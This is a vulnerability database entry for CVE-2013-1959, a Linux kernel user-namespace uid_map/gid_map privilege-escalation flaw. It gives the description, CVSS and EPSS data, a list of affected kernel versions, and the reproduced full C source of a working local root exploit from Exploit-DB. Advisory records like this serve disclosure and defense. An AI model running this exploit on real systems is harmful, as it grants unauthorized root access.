CVE-2013-1959 : Detail

CVE-2013-1959

A01-Broken Access Control
0.06%V3
Local
2013-05-03
08h00 +00:00
2013-12-01
16h26 +00:00
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CVE Descriptions

kernel/user_namespace.c in the Linux kernel before 3.8.9 does not have appropriate capability requirements for the uid_map and gid_map files, which allows local users to gain privileges by opening a file within an unprivileged process and then modifying the file within a privileged process.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 3.7 AV:L/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 25450

Publication date : 2013-05-13 22h00 +00:00
Author : Andrew Lutomirski
EDB Verified : No

/* userns_root_sploit.c by */ /* Copyright (c) 2013 Andrew Lutomirski. All rights reserved. */ /* You may use, modify, and redistribute this code under the GPLv2. */ #define _GNU_SOURCE #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <err.h> #include <linux/futex.h> #include <errno.h> #include <unistd.h> #include <sys/syscall.h> #ifndef CLONE_NEWUSER #define CLONE_NEWUSER 0x10000000 #endif pid_t parent; int *ftx; int childfn() { int fd; char buf[128]; if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 && errno != EWOULDBLOCK) err(1, "futex"); sprintf(buf, "/proc/%ld/uid_map", (long)parent); fd = open(buf, O_RDWR | O_CLOEXEC); if (fd == -1) err(1, "open %s", buf); if (dup2(fd, 1) != 1) err(1, "dup2"); // Write something like "0 0 1" to stdout with elevated capabilities. execl("./zerozeroone", "./zerozeroone"); return 0; } int main(int argc, char **argv) { int dummy, status; pid_t child; if (argc < 2) { printf("usage: userns_root_sploit COMMAND ARGS...\n\n" "This will run a command as (global) uid 0 but no capabilities.\n"); return 1; } ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (ftx == MAP_FAILED) err(1, "mmap"); parent = getpid(); if (signal(SIGCHLD, SIG_DFL) != 0) err(1, "signal"); child = fork(); if (child == -1) err(1, "fork"); if (child == 0) return childfn(); *ftx = 1; if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0) err(1, "futex"); if (unshare(CLONE_NEWUSER) != 0) err(1, "unshare(CLONE_NEWUSER)"); if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child failed"); if (setresuid(0, 0, 0) != 0) err(1, "setresuid"); execvp(argv[1], argv+1); err(1, argv[1]); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.8.8

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.0.35

Linux>>Linux_kernel >> Version 3.0.36

Linux>>Linux_kernel >> Version 3.0.37

Linux>>Linux_kernel >> Version 3.0.38

Linux>>Linux_kernel >> Version 3.0.39

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Linux>>Linux_kernel >> Version 3.0.42

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Linux>>Linux_kernel >> Version 3.0.48

Linux>>Linux_kernel >> Version 3.0.49

Linux>>Linux_kernel >> Version 3.0.50

Linux>>Linux_kernel >> Version 3.0.51

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Linux>>Linux_kernel >> Version 3.0.56

Linux>>Linux_kernel >> Version 3.0.57

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Linux>>Linux_kernel >> Version 3.0.59

Linux>>Linux_kernel >> Version 3.0.60

Linux>>Linux_kernel >> Version 3.0.61

Linux>>Linux_kernel >> Version 3.0.62

Linux>>Linux_kernel >> Version 3.0.63

Linux>>Linux_kernel >> Version 3.0.64

Linux>>Linux_kernel >> Version 3.0.65

Linux>>Linux_kernel >> Version 3.0.66

Linux>>Linux_kernel >> Version 3.0.67

Linux>>Linux_kernel >> Version 3.0.68

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

Linux>>Linux_kernel >> Version 3.2.23

Linux>>Linux_kernel >> Version 3.2.24

Linux>>Linux_kernel >> Version 3.2.25

Linux>>Linux_kernel >> Version 3.2.26

Linux>>Linux_kernel >> Version 3.2.27

Linux>>Linux_kernel >> Version 3.2.28

Linux>>Linux_kernel >> Version 3.2.29

Linux>>Linux_kernel >> Version 3.2.30

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3.1

Linux>>Linux_kernel >> Version 3.3.2

Linux>>Linux_kernel >> Version 3.3.3

Linux>>Linux_kernel >> Version 3.3.4

Linux>>Linux_kernel >> Version 3.3.5

Linux>>Linux_kernel >> Version 3.3.6

Linux>>Linux_kernel >> Version 3.3.7

Linux>>Linux_kernel >> Version 3.3.8

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4.1

Linux>>Linux_kernel >> Version 3.4.2

Linux>>Linux_kernel >> Version 3.4.3

Linux>>Linux_kernel >> Version 3.4.4

Linux>>Linux_kernel >> Version 3.4.5

Linux>>Linux_kernel >> Version 3.4.6

Linux>>Linux_kernel >> Version 3.4.7

Linux>>Linux_kernel >> Version 3.4.8

Linux>>Linux_kernel >> Version 3.4.9

Linux>>Linux_kernel >> Version 3.4.10

Linux>>Linux_kernel >> Version 3.4.11

Linux>>Linux_kernel >> Version 3.4.12

Linux>>Linux_kernel >> Version 3.4.13

Linux>>Linux_kernel >> Version 3.4.14

Linux>>Linux_kernel >> Version 3.4.15

Linux>>Linux_kernel >> Version 3.4.16

Linux>>Linux_kernel >> Version 3.4.17

Linux>>Linux_kernel >> Version 3.4.18

Linux>>Linux_kernel >> Version 3.4.19

Linux>>Linux_kernel >> Version 3.4.20

Linux>>Linux_kernel >> Version 3.4.21

Linux>>Linux_kernel >> Version 3.4.22

Linux>>Linux_kernel >> Version 3.4.23

Linux>>Linux_kernel >> Version 3.4.24

Linux>>Linux_kernel >> Version 3.4.25

Linux>>Linux_kernel >> Version 3.4.26

Linux>>Linux_kernel >> Version 3.4.27

Linux>>Linux_kernel >> Version 3.4.28

Linux>>Linux_kernel >> Version 3.4.29

Linux>>Linux_kernel >> Version 3.4.30

Linux>>Linux_kernel >> Version 3.4.31

Linux>>Linux_kernel >> Version 3.4.32

Linux>>Linux_kernel >> Version 3.5.1

Linux>>Linux_kernel >> Version 3.5.2

Linux>>Linux_kernel >> Version 3.5.3

Linux>>Linux_kernel >> Version 3.5.4

Linux>>Linux_kernel >> Version 3.5.5

Linux>>Linux_kernel >> Version 3.5.6

Linux>>Linux_kernel >> Version 3.5.7

Linux>>Linux_kernel >> Version 3.6

Linux>>Linux_kernel >> Version 3.6.1

Linux>>Linux_kernel >> Version 3.6.2

Linux>>Linux_kernel >> Version 3.6.3

Linux>>Linux_kernel >> Version 3.6.4

Linux>>Linux_kernel >> Version 3.6.5

Linux>>Linux_kernel >> Version 3.6.6

Linux>>Linux_kernel >> Version 3.6.7

Linux>>Linux_kernel >> Version 3.6.8

Linux>>Linux_kernel >> Version 3.6.9

Linux>>Linux_kernel >> Version 3.6.10

Linux>>Linux_kernel >> Version 3.6.11

Linux>>Linux_kernel >> Version 3.7

Linux>>Linux_kernel >> Version 3.7.1

Linux>>Linux_kernel >> Version 3.7.2

Linux>>Linux_kernel >> Version 3.7.3

Linux>>Linux_kernel >> Version 3.7.4

Linux>>Linux_kernel >> Version 3.7.5

Linux>>Linux_kernel >> Version 3.7.6

Linux>>Linux_kernel >> Version 3.7.7

Linux>>Linux_kernel >> Version 3.7.8

Linux>>Linux_kernel >> Version 3.7.9

Linux>>Linux_kernel >> Version 3.7.10

Linux>>Linux_kernel >> Version 3.8.0

Linux>>Linux_kernel >> Version 3.8.1

Linux>>Linux_kernel >> Version 3.8.2

Linux>>Linux_kernel >> Version 3.8.3

Linux>>Linux_kernel >> Version 3.8.4

Linux>>Linux_kernel >> Version 3.8.5

Linux>>Linux_kernel >> Version 3.8.6

Linux>>Linux_kernel >> Version 3.8.7

References

http://www.openwall.com/lists/oss-security/2013/04/29/1
Tags : mailing-list, x_refsource_MLIST
http://www.exploit-db.com/exploits/25307
Tags : exploit, x_refsource_EXPLOIT-DB